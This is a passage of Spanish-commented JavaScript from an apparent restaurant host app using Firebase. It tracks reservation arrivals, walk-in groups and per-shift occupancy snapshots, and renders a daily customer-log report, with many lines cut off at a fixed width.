  if(hostUnsubSinReserva){ hostUnsubSinReserva(); hostUnsubSinReserva = null; }
  hostSinReservaFecha = null;
  if(hostUnsubAforo){ hostUnsubAforo(); hostUnsubAforo = null; }
```

```
  hostAforoFecha = null;
}
function suscribirHostAforo(){
  const iso = fechaISO(hostFecha);
  if(hostUnsubAforo && hostAforoFecha === iso) return;
  if(hostUnsubAforo){ hostUnsubAforo(); hostUnsubAforo = null; }
  hostAforoFecha = iso;
  hostAforoDocs = [];
  hostAforoError = null;
  hostUnsubAforo = hostAforoRef.where('fecha','==',iso).onSnapshot(snap => {
    hostAforoDocs = snap.docs.map(d => ({ id: d.id, ...d.data() }));
    hostAforoError = null;
    if(vistaApp === 'host') renderHost();
  }, err => {
    console.warn('Host: no se pudo leer aforos guardados:', err);
    hostAforoError = (err && err.code) ? err.code : 'error';
    if(vistaApp === 'host') renderHost();
  });
}
// Totales del turno que se está viendo (los mismos números del resumen).
function hostCalcularTotales(){
  const rs = hostReservasDelDia();
  let esperadas = 0, llegadas = 0, faltan = 0;
  rs.forEach(r => {
    const pax = Number(r.pax)||0, ll = hostLlegaron(r);
    esperadas += pax; llegadas += ll; faltan += Math.max(pax - ll, 0);
  });
  const det = hostSinReservaDetalle();
  const sinRes = det.personas;
  const reservasLlegaron = rs.filter(r => hostLlegaron(r) > 0).length;
  return { rs, esperadas, llegadas, faltan, sinRes, total: llegadas + sinRes, det
}
function hostHoraCorta(ms){
  try { return new Date(ms).toLocaleTimeString('es-CO', { hour:'numeric', minute:
}
function renderHostAforo(tot){
  const cont = document.getElementById('hostAforoBar');
  if(!cont) return;
  const iso = fechaISO(hostFecha);
  const etiqueta = HOST_ETIQUETA_TURNO[hostTurno] || '';
  let html = '';
  if(hostTurno === 'cenaSinFranja'){
    html += `<div class="host-aforo-estado">El aforo se guarda por turno: elige C
  } else {
    const g = hostAforoDocs.find(d => d.id === iso + '_' + hostTurno);
    let estado, textoBtn;
    if(!g){
```

```
      estado = `<div class="host-aforo-estado sin">Aforo de ${etiqueta} sin guard
      textoBtn = '💾 Guardar aforo — ' + etiqueta;
    } else if(Number(g.esperadas) === tot.esperadas && Number(g.llegaron) === tot
      estado = `<div class="host-aforo-estado ok">✓ Aforo de ${etiqueta} guardado
      textoBtn = '💾 Guardar de nuevo';
    } else {
      estado = `<div class="host-aforo-estado cambio">⚠ Hay cambios desde el últi
      textoBtn = '💾 Actualizar aforo — ' + etiqueta;
    }
    html += estado + `<button type="button" class="host-guardar-aforo" onclick="h
  }
  if(hostAforoError){
    html += `<div class="host-sr-error">No se pudo usar el aforo guardado (${esca
  }
  const guardados = hostAforoDocs.slice().sort((a,b) => HOST_ORDEN_TURNOS.indexOf
  if(guardados.length){
    html += `<div class="host-aforo-dia"><div class="host-aforo-dia-titulo">Aforo
      guardados.map(g => `<div class="host-aforo-fila"><span>${escapeHtml(HOST_ET
  }
  cont.innerHTML = html;
}
// v6.57 — Guardado automático del aforo: cada vez que alguien registra o quita
// una entrada (con o sin reserva), un momento después se guarda solo la foto
// del turno. Así nadie depende de acordarse del botón "Guardar aforo".
// Se espera ~1.5 s y se agrupan varios toques seguidos en un solo guardado.
let hostAforoAutoTimer = null;
function hostAforoAutoProgramar(){
  const clave = fechaISO(hostFecha) + '_' + hostTurno;
  clearTimeout(hostAforoAutoTimer);
  hostAforoAutoTimer = setTimeout(() => hostGuardarAforo(true, clave), 1500);
}
function hostGuardarAforo(auto, claveEsperada){
  if(!usuarioActual || !hostTurno || hostTurno === 'cenaSinFranja') return;
  if(auto){
    // Si en ese rato cambió de día/turno en pantalla, no se guarda lo que no es.
    if(claveEsperada !== fechaISO(hostFecha) + '_' + hostTurno) return;
    if(hostGuardandoAforo){ hostAforoAutoProgramar(); return; }   // reintenta cu
  } else {
    if(hostGuardandoAforo) return;
    if(hostEditando.size > 0 || hostSinReservaEditando){
      if(!confirm('Todavía hay tarjetas abiertas en modo Editar. ¿Guardar el afor
    }
  }
  const tot = hostCalcularTotales();
  const iso = fechaISO(hostFecha);
  const etiqueta = HOST_ETIQUETA_TURNO[hostTurno] || hostTurno;
  hostGuardandoAforo = true;
```

```
  if(!auto) renderHost();
  hostAforoRef.doc(iso + '_' + hostTurno).set({
    fecha: iso,
    turno: hostTurno,
    turnoEtiqueta: etiqueta,
    esperadas: tot.esperadas,
    llegaron: tot.llegadas,
    faltan: tot.faltan,
    sinReserva: tot.sinRes,
    gruposSinReserva: hostMapaTamanos(tot.det.entradas),
    entradasSinReserva: tot.det.entradas.map(e => ({ n: e.n, en: e.en })),
    cantidadGruposSinReserva: tot.det.nGrupos,
    sinReservaSinDetalle: tot.det.legacy,
    reservasQueLlegaron: tot.reservasLlegaron,
    totalLocal: tot.total,
    cantidadReservas: tot.rs.length,
    detalle: tot.rs.map(r => ({ id: r.id, nombre: r.nombre || '', hora: r.hora ||
    guardadoPor: usuarioActual.iniciales,
    guardadoPorNombre: usuarioActual.nombre,
    guardadoEn: Date.now(),
  }).then(() => {
    if(!auto) hostSoltarCandados();   // el guardado automático NO cierra las tar
  }).catch(err => {
    if(auto) console.warn('Host: no se pudo guardar el aforo automáticamente:', e
  }).finally(() => {
    hostGuardandoAforo = false;
    if(vistaApp === 'host') renderHost();
  });
}
// v6.48 — Cada ENTRADA es un grupo que cruza la puerta (de 2, de 5, de 12...).
// El documento del turno guarda `personas` (total), `cantidadGrupos` y
// `entradas` (lista {n, en, por}: cuántos entraron, cuándo y quién la
// registró). Lo contado antes de esta versión (solo un total, o grupos por
// tamaño) se muestra como "sin detalle" y se puede quitar con ×.
function hostEntradasDe(obj){
  const arr = Array.isArray(obj && obj.entradas) ? obj.entradas : [];
  return arr.map(e => ({ n: Math.max(0, Number(e && e.n)||0), en: Number(e && e.e
    .filter(e => e.n > 0).sort((x,y) => x.en - y.en);
}
function hostMapaTamanos(entradas){
  const m = {};
  entradas.forEach(e => { m[e.n] = (m[e.n]||0) + 1; });
  return m;
}
function hostSinReservaDetalle(){
  const d = hostSinReservaDocs.find(x => x.id === fechaISO(hostFecha) + '_' + hos
  const entradas = hostEntradasDe(d);
```

```
  const enEntradas = entradas.reduce((a,e) => a + e.n, 0);
  const personas = Math.max(d ? Math.max(0, Number(d.personas)||0) : 0, enEntrada
  return { personas, entradas, nGrupos: entradas.length, enEntradas, legacy: Math
}
function hostSinReservaVista(){ return hostSinReservaDetalle().personas; }

function hostCambiarDia(delta){
  hostSoltarCandados();
  hostFecha.setDate(hostFecha.getDate() + delta);
  renderHost();
}
function hostIrHoy(){
  hostSoltarCandados();
  hostFecha = new Date();
  hostFecha.setHours(12,0,0,0);
  renderHost();
}
function hostSetTurno(t){ hostSoltarCandados(); hostTurno = t; renderHost(); }
function hostSetFiltro(f){ hostFiltro = f; renderHost(); }

function renderHost(){
  const cont = document.getElementById('hostLista');
  if(!cont) return;
  // Si todavía no hay turno elegido, o el elegido no existe ese día (p. ej.
  // Cena 1 en un martes), se abre el turno que corresponde a la hora actual.
  if(!hostTurno || !hostTurnosDelDia().some(t => t[0] === hostTurno)) hostTurno =
  suscribirHostSinReserva();
  suscribirHostAforo();

  const d = hostFecha;
  const esHoy = fechaISO(d) === fechaISO(new Date());
  document.getElementById('hostFechaLabel').innerHTML =
    `${DIAS[d.getDay()]} ${d.getDate()} de ${MESES[d.getMonth()]}<small>${esHoy ?
  document.getElementById('hostTurnos').innerHTML = hostTurnosDelDia().map(([k,l]
    `<button type="button" class="host-pill ${hostTurno===k?'activo':''}" onclick

  const tot = hostCalcularTotales();
  const { esperadas, llegadas, faltan, sinRes } = tot;
  document.getElementById('hostResumen').innerHTML = `
    <div class="host-stat"><b>${esperadas}</b><span>Esperadas</span></div>
    <div class="host-stat llegaron"><b>${llegadas}</b><span>Llegaron</span><i>${t
    <div class="host-stat faltan"><b>${faltan}</b><span>Faltan</span></div>
    <div class="host-stat"><b>${sinRes}</b><span>Sin reserva</span><i>${tot.det.n
    <div class="host-stat total"><b>${llegadas + sinRes}</b><span>En el local</sp

  const puedeSumar = hostTurno !== 'cenaSinFranja';
  const etiquetaTurno = (hostTurnosDelDia().find(t => t[0] === hostTurno) || ['',
```

```
  const det = tot.det;
  const resumenEntradas = det.entradas.length ? 'Entradas: ' + det.entradas.map(e
  const cuerpoEdicion = (puedeSumar && hostSinReservaEditando) ? `
      ${hostComposerHtml('sr', 0, 'hostRegistrarEntradaSR()')}
      ${hostEntradasListaHtml(det.entradas, det.legacy, en => 'hostQuitarEntradaS
      <button type="button" class="host-bloquear" onclick="hostToggleEditarSR()">
  document.getElementById('hostSinReserva').innerHTML = `
    <div class="host-sr-fila">
      <div class="host-sr-info"><b>${sinRes}</b><span>clientes sin reserva · ${de
        <small>${puedeSumar ? 'Turno: ' + etiquetaTurno : 'Para sumar clientes si
        ${resumenEntradas ? `<small class="host-sr-grupos">${resumenEntradas}${de
      ${puedeSumar && !hostSinReservaEditando ? `<div class="host-sr-btns"><butto
    </div>
    ${cuerpoEdicion}
    ${hostSinReservaError ? `<div class="host-sr-error">No se pudo usar el contad

  renderHostAforo(tot);

  document.getElementById('hostFiltros').innerHTML = [['todas','Todas'],['faltan'
    `<button type="button" class="host-filtro ${hostFiltro===k?'activo':''}" oncl

  renderHostLista();
}

function renderHostLista(){
  const cont = document.getElementById('hostLista');
  if(!cont) return;
  const iso = fechaISO(hostFecha);
  const ahora = new Date();
  const esHoy = iso === fechaISO(ahora);
  const minAhora = ahora.getHours()*60 + ahora.getMinutes();
  const input = document.getElementById('hostBuscar');
  const q = hostNorm(input ? input.value.trim() : '');
  const qd = q.replace(/\D/g,'');

  let lista = hostReservasDelDia().slice().sort((a,b) =>
    String(a.hora||'').localeCompare(String(b.hora||'')) || String(a.nombre||'').
  if(q) lista = lista.filter(r => hostNorm(r.nombre).includes(q) || (qd.length >=
  if(hostFiltro === 'faltan') lista = lista.filter(r => hostLlegaron(r) < (Number
  if(hostFiltro === 'llegaron') lista = lista.filter(r => hostLlegaron(r) > 0);

  if(lista.length === 0){
    cont.innerHTML = `<div class="host-vacio">${q ? 'No se encontró ninguna reser
    return;
  }
  cont.innerHTML = lista.map(r => {
    const pax = Number(r.pax)||0, ll = hostLlegaron(r);
```

```
    let est = ll === 0 ? 'cero' : ll < pax ? 'parcial' : ll === pax ? 'completo'
    let tarde = false;
    if(esHoy && ll === 0 && r.hora){
      const [h,m] = String(r.hora).split(':').map(Number);
      if(isFinite(h) && (h*60 + (isFinite(m)?m:0) + HOST_MIN_TARDE) < minAhora) t
    }
    const idJs = JSON.stringify(r.id);
    const chips = [];
    if(r.mesa) chips.push(`<span class="host-chip">🪑 ${escapeHtml(hostMesaTexto(
    if(r.franjaCena) chips.push(`<span class="host-chip">${r.franjaCena==='tempra
    { const desal = reservaHoraDesalineadaConTurno(r);
      if(desal) chips.push(`<span class="host-chip tarde">⚠ La hora es de ${HOST_
    const ent = hostEntradasDe(r);
    const legacyR = Math.max(0, ll - ent.reduce((a,e) => a + e.n, 0));
    if(ent.length) chips.push(`<span class="host-chip">Entradas: ${ent.map(e => e
    if(ll > pax) chips.push(`<span class="host-chip extra">+${ll-pax} de más</spa
    if(tarde) chips.push(`<span class="host-chip tarde">Sin llegar · hora pasada<
    const editando = hostEditando.has(r.id);
    return `
    <div class="host-card host-${est}${tarde?' host-tarde':''}${editando?' host-c
      <div class="host-card-top">
        <div class="host-hora">${formatearHora12(r.hora)}</div>
        <div class="host-nombre">${escapeHtml(r.nombre||'(sin nombre)')}</div>
        <div class="host-conteo"><b>${ll}</b><span>/${pax}</span></div>
      </div>
      ${chips.length ? `<div class="host-meta">${chips.join('')}</div>` : '<div s
      ${editando ? `
      ${hostComposerHtml('r:' + r.id, Math.max(0, pax - ll), 'hostRegistrarEntrad
      ${hostEntradasListaHtml(ent, legacyR, en => 'hostQuitarEntradaReserva(' + i
      <button type="button" class="host-bloquear host-bloquear-card" onclick='hos
      <button type="button" class="host-editar host-editar-card" onclick='hostTog
    </div>`;
  }).join('');
}

function hostErrorGuardar(err){
  console.error('Host: no se pudo guardar:', err);
  const cod = (err && (err.code || err.name)) ? String(err.code || err.name) : 'd
  alert('No se pudo guardar la llegada. Revisa tu conexión e intenta de nuevo.\n\
    (cod.includes('permission') ? '\n\n⚠ Firebase no dejó guardar (revisar reglas
    (cod.includes('resource-exhausted') ? '\n\n⚠ Parece que se agotó la cuota dia
}
function hostToggleEditar(id){
  if(hostEditando.has(id)) hostEditando.delete(id); else hostEditando.add(id);
  delete hostEntradaN['r:' + id];
  renderHostLista();
}
```

```
function hostToggleEditarSR(){
  hostSinReservaEditando = !hostSinReservaEditando;
  delete hostEntradaN['sr'];
  renderHost();
}

// ---- Registrar entrada: botones 1–10, ajuste fino (−1 / +1 / +5) y confirmació
function hostElegirN(clave, n){
  hostEntradaN[clave] = Math.max(0, Math.min(99, Math.floor(Number(n)||0)));
  renderHost();
}
function hostAjustarN(clave, delta){ hostElegirN(clave, (hostEntradaN[clave]||0)
function hostComposerHtml(clave, resto, jsRegistrar){
  const n = hostEntradaN[clave] || 0;
  const k = JSON.stringify(clave);
  const grid = [1,2,3,4,5,6,7,8,9,10].map(i =>
    `<button type="button" class="host-num-btn${n===i?' sel':''}" onclick='hostEl
  return `
    <div class="host-comp">
      <div class="host-comp-titulo">¿Cuántas personas están entrando?</div>
      <div class="host-num-grid">${grid}</div>
      <div class="host-stepper">
        <button type="button" onclick='hostAjustarN(${k}, -1)' ${n<=0?'disabled':
        <div class="host-n"><b>${n||'—'}</b><span>${n===1?'persona':'personas'}</
        <button type="button" onclick='hostAjustarN(${k}, 1)'>+1</button>
        <button type="button" onclick='hostAjustarN(${k}, 5)'>+5</button>
      </div>
      ${resto > 0 ? `<button type="button" class="host-n-resto" onclick='hostEleg
      <button type="button" class="host-registrar" onclick='${jsRegistrar}' ${n<1
    </div>`;
}
function hostEntradasListaHtml(entradas, legacy, jsQuitar, jsQuitarLegacy){
  if(!entradas.length && legacy <= 0) return '';
  return `<div class="host-sr-titulo">Entradas registradas:</div><div class="host
    entradas.map((e,i) => `<div class="host-grupo-fila"><span>${i+1}) ${e.n} pers
    (legacy > 0 ? `<div class="host-grupo-fila"><span>${legacy} persona${legacy==
    `</div>`;
}

// Entrada de una RESERVA: puede haber varias (llegaron 2 y luego otros 4).
// `llegaron` queda como el total; `entradas` guarda cada una. Se usa
// increment/arrayUnion para que dos hosts a la vez no se pisen entre sí.
function hostRegistrarEntradaReserva(id){
  const r = reservas.find(x => x.id === id);
  if(!r || !usuarioActual || !hostEditando.has(id)) return;
  const n = hostEntradaN['r:' + id] || 0;
  if(n < 1) return;
```

```
  const F = firebase.firestore.FieldValue;
  hostEntradaN['r:' + id] = 0;
  reservasRef.doc(id).update({
    llegaron: F.increment(n),
    entradas: F.arrayUnion({ n: n, en: Date.now(), por: usuarioActual.iniciales }
    llegadaActualizadaPor: usuarioActual.iniciales,
    llegadaActualizadaEn: Date.now(),
  }).then(hostAforoAutoProgramar).catch(hostErrorGuardar);
}
function hostQuitarEntradaReserva(id, en){
  const r = reservas.find(x => x.id === id);
  if(!r || !usuarioActual || !hostEditando.has(id)) return;
  if(hostOpOcupada) return;
  const ents = hostEntradasDe(r);
  const e = ents.find(x => x.en === en);
  if(!e) return;
  if(!confirm('¿Quitar la entrada de ' + e.n + ' persona' + (e.n===1?'':'s') + '
  const F = firebase.firestore.FieldValue;
  const guardado = Math.max(0, Number(r.llegaron)||0);
  const sumaEnt = ents.reduce((a,x) => a + x.n, 0);
  const coherente = guardado >= sumaEnt;
  hostOp(reservasRef.doc(id).update({
    // si el total guardado quedó por debajo de las entradas, se recalcula con la
    llegaron: coherente ? F.increment(-e.n) : (sumaEnt - e.n),
    entradas: F.arrayRemove(e.raw),
    llegadaActualizadaPor: usuarioActual.iniciales,
    llegadaActualizadaEn: Date.now(),
  }).then(hostAforoAutoProgramar).catch(hostErrorGuardar));
}
// Personas marcadas con los botones viejos (+1 / Llegó completo), que no
// quedaron como "entrada" con detalle.
function hostQuitarSinDetalleReserva(id){
  const r = reservas.find(x => x.id === id);
  if(!r || !usuarioActual || !hostEditando.has(id)) return;
  const legacy = Math.max(0, hostLlegaron(r) - hostEntradasDe(r).reduce((a,e) =>
  if(legacy <= 0) return;
  if(!confirm('Esto quita ' + legacy + ' persona(s) marcadas sin saber en qué ent
  reservasRef.doc(id).update({
    llegaron: firebase.firestore.FieldValue.increment(-legacy),
    llegadaActualizadaPor: usuarioActual.iniciales,
    llegadaActualizadaEn: Date.now(),
  }).then(hostAforoAutoProgramar).catch(hostErrorGuardar);
}

// Entrada SIN reserva: cada una es un grupo de N personas.
function hostRegistrarEntradaSR(){
  if(!hostTurno || hostTurno === 'cenaSinFranja' || !usuarioActual || !hostSinRes
```

```
  const n = hostEntradaN['sr'] || 0;
  if(n < 1) return;
  const F = firebase.firestore.FieldValue;
  const iso = fechaISO(hostFecha);
  hostEntradaN['sr'] = 0;
  hostSinReservaRef.doc(iso + '_' + hostTurno).set({
    fecha: iso,
    turno: hostTurno,
    personas: F.increment(n),
    cantidadGrupos: F.increment(1),
    entradas: F.arrayUnion({ n: n, en: Date.now(), por: usuarioActual.iniciales }
    actualizadoPor: usuarioActual.iniciales,
    actualizadoEn: Date.now(),
  }, { merge: true }).then(hostAforoAutoProgramar).catch(hostErrorGuardar);
}
function hostQuitarEntradaSR(en){
  if(!hostTurno || !usuarioActual || !hostSinReservaEditando) return;
  if(hostOpOcupada) return;
  const det = hostSinReservaDetalle();
  const e = det.entradas.find(x => x.en === en);
  if(!e) return;
  if(!confirm('¿Quitar la entrada de ' + e.n + ' persona' + (e.n===1?'':'s') + '?
  const F = firebase.firestore.FieldValue;
  const iso = fechaISO(hostFecha);
  const docSR = hostSinReservaDocs.find(x => x.id === iso + '_' + hostTurno);
  const guardado = docSR ? Math.max(0, Number(docSR.personas)||0) : 0;
  const coherente = guardado >= det.enEntradas;
  hostOp(hostSinReservaRef.doc(iso + '_' + hostTurno).set({
    fecha: iso,
    turno: hostTurno,
    // si el total guardado quedó descuadrado, se recalcula desde las entradas re
    personas: coherente ? F.increment(-e.n) : (det.enEntradas - e.n),
    cantidadGrupos: coherente ? F.increment(-1) : Math.max(0, det.nGrupos - 1),
    entradas: F.arrayRemove(e.raw),
    actualizadoPor: usuarioActual.iniciales,
    actualizadoEn: Date.now(),
  }, { merge: true }).then(hostAforoAutoProgramar).catch(hostErrorGuardar));
}
// Quita lo que se contó antes de existir las entradas (solo había un total).
function hostQuitarSinDetalle(){
  if(!hostTurno || !usuarioActual || !hostSinReservaEditando) return;
  const det = hostSinReservaDetalle();
  if(det.legacy <= 0) return;
  if(!confirm('Esto quita ' + det.legacy + ' persona(s) que se contaron sin saber
  const iso = fechaISO(hostFecha);
  hostSinReservaRef.doc(iso + '_' + hostTurno).set({
    fecha: iso,
```

```
    turno: hostTurno,
    personas: firebase.firestore.FieldValue.increment(-det.legacy),
    actualizadoPor: usuarioActual.iniciales,
    actualizadoEn: Date.now(),
  }, { merge: true }).then(hostAforoAutoProgramar).catch(hostErrorGuardar);
}

/* ============ REGISTRO DE CLIENTES (v6.49) ============ */
// Informe de aforo real por día y turno, de solo lectura, para todos los
// niveles menos promotor. Usa el aforo GUARDADO por el host (colección
// `aforoTurnos`) y, si un turno aún no se guardó, los números EN VIVO
// (reservas confirmadas + `hostSinReserva`). No escribe nada.
let regFecha = new Date(); regFecha.setHours(12,0,0,0);
let regMes = regFecha.getMonth();
let regAno = regFecha.getFullYear();
let regTurno = 'dia'; // 'dia' = día completo, o la clave de un turno
let regAforoDocs = [];
let regSinResDocs = [];
let regUnsubAforo = null, regUnsubSinRes = null;
let regAforoMes = null, regSinResFecha = null;
let regError = null;
function regIso(d){ return fechaISO(d); }
function regTurnosDelDia(iso){
  const fin = diaEsFinDeSemanaCena(iso);
  const lista = fin
    ? [['desayuno','Desayuno'],['almuerzo','Almuerzo'],['cena1','Cena 1'],['cena2
    : [['desayuno','Desayuno'],['almuerzo','Almuerzo'],['cena','Cena']];
  if(fin && reservas.some(r => r.fecha === iso && r.estado === 'confirmada' && r.
    lista.push(['cenaSinFranja','Cena sin franja']);
  }
  return lista;
}
function regReservasDe(iso, key){
  return reservas.filter(r => {
    if(r.fecha !== iso || r.estado !== 'confirmada') return false;
    if(key === 'cenaSinFranja') return r.turno === 'cena' && !r.franjaCena;
    return reservaCoincideConTurnoActivo(r, key);
  });
}
function suscribirRegistro(){
  const ini = regAno + '-' + String(regMes+1).padStart(2,'0') + '-01';
  const fin = regAno + '-' + String(regMes+1).padStart(2,'0') + '-31';
  const claveMes = regAno + '-' + regMes;
  if(!regUnsubAforo || regAforoMes !== claveMes){
    if(regUnsubAforo){ regUnsubAforo(); regUnsubAforo = null; }
    regAforoMes = claveMes;
    regAforoDocs = [];
```

```
    regUnsubAforo = db.collection('aforoTurnos').where('fecha','>=',ini).where('f
      regAforoDocs = snap.docs.map(d => ({ id: d.id, ...d.data() }));
      regError = null;
      if(vistaApp === 'registro') renderRegistro();
    }, err => {
      console.warn('Registro: no se pudo leer aforos guardados:', err);
      regError = (err && err.code) ? err.code : 'error';
      if(vistaApp === 'registro') renderRegistro();
    });
  }
  if(!regUnsubSinRes || regSinResFecha !== claveMes){
    if(regUnsubSinRes){ regUnsubSinRes(); regUnsubSinRes = null; }
    regSinResFecha = claveMes;
    regSinResDocs = [];
    regUnsubSinRes = db.collection('hostSinReserva').where('fecha','>=',ini).wher
      regSinResDocs = snap.docs.map(d => ({ id: d.id, ...d.data() }));
      if(vistaApp === 'registro') renderRegistro();
    }, err => {
      console.warn('Registro: no se pudo leer clientes sin reserva:', err);
      regError = (err && err.code) ? err.code : 'error';
      if(vistaApp === 'registro') renderRegistro();
    });
  }
}
function detenerRegistro(){
  if(regUnsubAforo){ regUnsubAforo(); regUnsubAforo = null; }
  if(regUnsubSinRes){ regUnsubSinRes(); regUnsubSinRes = null; }
  regAforoMes = null; regSinResFecha = null;
}
// Números de UN turno de UN día. Si hay aforo guardado, manda ese; si no, en viv
function regMetricas(iso, key){
  const g = regAforoDocs.find(d => d.id === iso + '_' + key);
  let items, sinRes, gruposSR, tamSR, fuente, guardadoEn = null, guardadoPor = ''
  if(g){
    fuente = 'guardado'; guardadoEn = g.guardadoEn; guardadoPor = g.guardadoPorNo
    if(Array.isArray(g.detalle)){
      items = g.detalle.map(x => ({ pax: Number(x.pax)||0, ll: Math.max(0, Number
    } else { items = []; detalleOk = false; }
    sinRes = Math.max(0, Number(g.sinReserva)||0);
    gruposSR = Number(g.cantidadGruposSinReserva)||0;
    tamSR = (Array.isArray(g.entradasSinReserva) ? g.entradasSinReserva : []).map
    nRes = g.cantidadReservas != null ? Number(g.cantidadReservas)||0 : items.len
    var esperadas = Number(g.esperadas)||0, llegaron = Number(g.llegaron)||0;
    var resLlegaron = g.reservasQueLlegaron != null ? Number(g.reservasQueLlegaro
    var total = g.totalLocal != null ? Number(g.totalLocal)||0 : llegaron + sinRe
  } else {
    fuente = 'vivo';
```

```
    const rs = regReservasDe(iso, key);
    items = rs.map(r => ({ pax: Number(r.pax)||0, ll: hostLlegaron(r) }));
    nRes = rs.length;
    const d = regSinResDocs.find(x => x.id === iso + '_' + key);
    sinRes = d ? Math.max(0, Number(d.personas)||0) : 0;
    const ent = hostEntradasDe(d);
    gruposSR = ent.length; tamSR = ent.map(e => e.n);
    var esperadas = items.reduce((a,x) => a + x.pax, 0), llegaron = items.reduce(
    var resLlegaron = items.filter(x => x.ll > 0).length;
    var total = llegaron + sinRes;
  }
  let completas = 0, incompletas = 0, noLlegaron = 0, deMas = 0, cumple = 0;
  items.forEach(x => {
    if(x.pax <= 0) return;
    if(x.ll >= x.pax) completas++; else if(x.ll > 0) incompletas++; else noLlegar
    deMas += Math.max(x.ll - x.pax, 0); cumple += Math.min(x.ll, x.pax);
  });
  return { key, fuente, guardadoEn, guardadoPor, detalleOk, nRes, esperadas, lleg
    completas, incompletas, noLlegaron, deMas, cumplimiento: esperadas > 0 ? Math
    sinRes, gruposSR, tamSR, total };
}
// Total de personas de un día para el calendario (con reserva + sin reserva),
// de todo el día o de un solo turno. Aforo guardado si existe; si no, en vivo.
function regTotalDia(iso, key){
  let total = 0, vivo = false;
  regTurnosDelDia(iso).forEach(([k]) => {
    const cenaFam = ['cena','cena1','cena2','cenaSinFranja'];
    if(key !== 'dia' && k !== key && !(key === 'cena' && cenaFam.includes(k)) &&
    const g = regAforoDocs.find(d => d.id === iso + '_' + k);
    if(g){ total += Number(g.totalLocal)||0; return; }
    let t = regReservasDe(iso, k).reduce((a,r) => a + hostLlegaron(r), 0);
    const d = regSinResDocs.find(x => x.id === iso + '_' + k);
    t += d ? Math.max(0, Number(d.personas)||0) : 0;
    if(t > 0){ total += t; vivo = true; }
  });
  return { total, vivo };
}
function regSumar(ms){
  const s = { nRes:0, esperadas:0, llegaron:0, resLlegaron:0, completas:0, incomp
  ms.forEach(m => {
    s.nRes += m.nRes; s.esperadas += m.esperadas; s.llegaron += m.llegaron; s.res
    s.completas += m.completas; s.incompletas += m.incompletas; s.noLlegaron += m
    s.sinRes += m.sinRes; s.gruposSR += m.gruposSR; s.tamSR = s.tamSR.concat(m.ta
    if(!m.detalleOk) s.sinDetalle = true;
  });
  const pesoCump = ms.reduce((a,m) => a + (m.cumplimiento != null ? m.cumplimient
  s.cumplimiento = s.esperadas > 0 ? Math.round(pesoCump / s.esperadas * 100) : n
```

```
  return s;
}
function regSetFecha(iso){
  const [y,m,d] = iso.split('-').map(Number);
  regFecha = new Date(y, m-1, d, 12);
  regMes = regFecha.getMonth(); regAno = regFecha.getFullYear();
  renderRegistro();
}
function regCambiarMes(delta){
  regMes += delta;
  if(regMes < 0){ regMes = 11; regAno--; }
  if(regMes > 11){ regMes = 0; regAno++; }
  renderRegistro();
}
function regIrHoy(){
  regFecha = new Date(); regFecha.setHours(12,0,0,0);
  regMes = regFecha.getMonth(); regAno = regFecha.getFullYear();
  regTurno = 'dia';
  renderRegistro();
}
function regSetTurno(t){ regTurno = t; renderRegistro(); }
// v6.51 — Movimiento de entradas: al tocar el total se abre la bitácora
// hora a hora (quién entró, cuántas personas, con o sin reserva, cuándo).
let regDetalleAbierto = false;
let regDetalleFiltro = 'todas'; // todas | res | sin
function regToggleDetalle(){ regDetalleAbierto = !regDetalleAbierto; renderRegist
function regSetDetalleFiltro(f){ regDetalleFiltro = f; renderRegistro(); }
// Entradas de UN turno: del aforo guardado si existe, si no en vivo.
function regEntradasTurno(iso, key){
  const items = []; let sinHora = 0;
  const suma = arr => arr.reduce((a,e) => a + e.n, 0);
  const g = regAforoDocs.find(d => d.id === iso + '_' + key);
  if(g){
    (Array.isArray(g.detalle) ? g.detalle : []).forEach(x => {
      const ents = hostEntradasDe(x);
      ents.forEach(e => items.push({ en: e.en, n: e.n, tipo: 'res', nombre: x.nom
      sinHora += Math.max(0, (Number(x.llegaron)||0) - suma(ents));
    });
    hostEntradasDe({ entradas: g.entradasSinReserva }).forEach(e => items.push({
    sinHora += Math.max(0, Number(g.sinReservaSinDetalle)||0);
  } else {
    regReservasDe(iso, key).forEach(r => {
      const ents = hostEntradasDe(r);
      ents.forEach(e => items.push({ en: e.en, n: e.n, tipo: 'res', nombre: r.nom
      sinHora += Math.max(0, hostLlegaron(r) - suma(ents));
    });
    const d = regSinResDocs.find(x => x.id === iso + '_' + key);
```

```
    const ents = hostEntradasDe(d);
    ents.forEach(e => items.push({ en: e.en, n: e.n, tipo: 'sin', nombre: '', por
    if(d) sinHora += Math.max(0, (Number(d.personas)||0) - suma(ents));
  }
  return { items, sinHora };
}
function regHoraEtiqueta(h){
  const h12 = h % 12 === 0 ? 12 : h % 12;
  return h12 + (h < 12 ? ' a. m.' : ' p. m.');
}
function regMovimientoHtml(iso, keys, etiquetas){
  let items = [], sinHora = 0;
  keys.forEach(k => { const r = regEntradasTurno(iso, k); items = items.concat(r.
  items = items.filter(e => e.en > 0).sort((a,b) => b.en - a.en); // más reciente
  if(!items.length){
    return `<div class="reg-mov"><div class="reg-mov-vacio">Aún no hay entradas c
  }
  const totRes = items.filter(e => e.tipo === 'res').reduce((a,e) => a + e.n, 0);
  const totSin = items.filter(e => e.tipo === 'sin').reduce((a,e) => a + e.n, 0);
  const primera = items[items.length-1], ultima = items[0];
  // barras por hora
  const horas = {};
  items.forEach(e => {
    const h = new Date(e.en).getHours();
    horas[h] = horas[h] || { res: 0, sin: 0 };
    horas[h][e.tipo] += e.n;
  });
  const hs = Object.keys(horas).map(Number);
  const hMin = Math.min(...hs), hMax = Math.max(...hs);
  let maxH = 1, pico = hMin;
  for(let h = hMin; h <= hMax; h++){
    const t = horas[h] ? horas[h].res + horas[h].sin : 0;
    if(t > maxH){ maxH = t; pico = h; }
  }
  let barras = '';
  for(let h = hMin; h <= hMax; h++){
    const v = horas[h] || { res: 0, sin: 0 };
    const t = v.res + v.sin;
    barras += `<div class="reg-hora ${h===pico && t>0 ? 'pico' : ''}"><span class
      <div class="reg-hora-barra"><i class="r" style="width:${v.res/maxH*100}%"><
      <b>${t}</b></div>`;
  }
  const hoy = iso === regIso(new Date());
  let hace = '';
  if(hoy){
    const min = Math.max(0, Math.round((Date.now() - ultima.en) / 60000));
    hace = min < 1 ? ' · ahora mismo' : (min < 60 ? ` · hace ${min} min` : ` · ha
```

```
  }
  const filtrados = items.filter(e => regDetalleFiltro === 'todas' || e.tipo ===
  const mostrarTurno = keys.length > 1;
  const filas = filtrados.map(e => `<div class="reg-ent ${e.tipo}">
      <span class="reg-ent-hora">${hostHoraCorta(e.en)}</span>
      <span class="reg-ent-info"><b>${e.n} persona${e.n===1?'':'s'}</b> · ${e.tip
    </div>`).join('');
  return `<div class="reg-mov">
    <div class="reg-mov-resumen">
